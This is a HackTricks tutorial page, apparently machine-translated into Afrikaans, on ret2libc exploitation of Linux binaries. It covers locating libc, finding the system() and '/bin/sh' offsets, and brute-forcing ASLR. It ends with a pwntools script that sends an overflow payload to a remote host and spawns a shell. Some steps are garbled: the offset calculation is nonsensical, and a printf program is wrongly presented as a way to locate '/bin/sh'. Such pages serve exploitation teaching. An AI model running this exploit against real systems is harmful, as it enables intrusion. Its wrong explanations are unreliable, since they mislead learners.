hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md
2024-02-11 02:07:06 +00:00

5.8 KiB

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

As jy 'n kwesbare binêre lêer gevind het en jy dink jy kan dit uitbuit deur Ret2Lib te gebruik, kan jy hierdie basiese stappe volg.

As jy binne die gasheer is

Jy kan die adres van libc vind

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

As jy wil nagaan of die ASLR die adres van libc verander, kan jy die volgende doen:

for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done

Kry die verskuiwing van die stelsel funksie

Om die verskuiwing van die stelsel funksie te kry, kan jy die volgende stappe volg:

  1. Identifiseer 'n funksie in die teikenprogram wat 'n biblioteekfunksie aanroep, soos system().
  2. Kry die adres van die funksie in die biblioteek. Dit kan gedoen word deur die program te ontleder of deur gebruik te maak van 'n hulpmiddel soos objdump.
  3. Identifiseer 'n plek in die program se geheue waar jy 'n string kan plaas wat die pad na die biblioteek bevat. Dit kan 'n argument wees wat deur die funksie aanvaar word, of 'n ander plek in die geheue waar jy toegang tot het.
  4. Bereken die verskuiwing deur die adres van die funksie in die biblioteek af te trek van die adres van die string in die geheue.

Hier is 'n voorbeeld van hoe jy die verskuiwing kan bereken:

# Voorbeeld Python-kode
adres_van_stelsel_funksie = 0x12345678
adres_van_string = 0xabcdef01

verskuiwing = adres_van_stelsel_funksie - adres_van_string
print(f"Verskuiwing: {verskuiwing}")

Onthou dat die spesifieke waardes van die adresse sal verskil vir elke program en stelsel. Jy sal die korrekte adresse vir jou teikenprogram moet vind en die berekening dienooreenkomstig aanpas.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

Kry die offset van "/bin/sh"

Om die offset van die "/bin/sh" string te kry, kan jy die volgende stappe volg:

  1. Skryf 'n eenvoudige C-program wat die "/bin/sh" string bevat.
  2. Kompileer die program sonder enige optimalisering.
  3. Voer die program uit en onthou die geheue-adres van die "/bin/sh" string.
  4. Gebruik die geheue-adres om die offset te bereken.

Hier is 'n voorbeeld van hoe jy dit kan doen:

#include <stdio.h>

int main() {
    printf("/bin/sh\n");
    return 0;
}

Kompileer die program met die volgende opdrag:

gcc -o binsh binsh.c

Voer die program uit en onthou die geheue-adres van die "/bin/sh" string:

./binsh

Die geheue-adres sal in die uitset verskyn. Gebruik hierdie adres om die offset te bereken.

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

/proc/<PID>/maps

As die proses elke keer as jy daarmee praat (netwerkbediener) kinders skep, probeer om daardie lêer te lees (jy sal waarskynlik root moet wees).

Hier kan jy presies sien waar die libc gelaai word binne die proses en waar dit gelaai gaan word vir elke kind van die proses.

In hierdie geval word dit gelaai by 0xb75dc000 (Dit sal die basisadres van libc wees)

Gebruik gdb-peda

Kry die adres van die system-funksie, die exit-funksie en die string "/bin/sh" met behulp van gdb-peda:

p system
p exit
find "/bin/sh"

Om ASLR te omseil

Jy kan probeer om die basisadres van libc te bruteforce.

for off in range(0xb7000000, 0xb8000000, 0x1000):

Kode

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()    #Banner

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: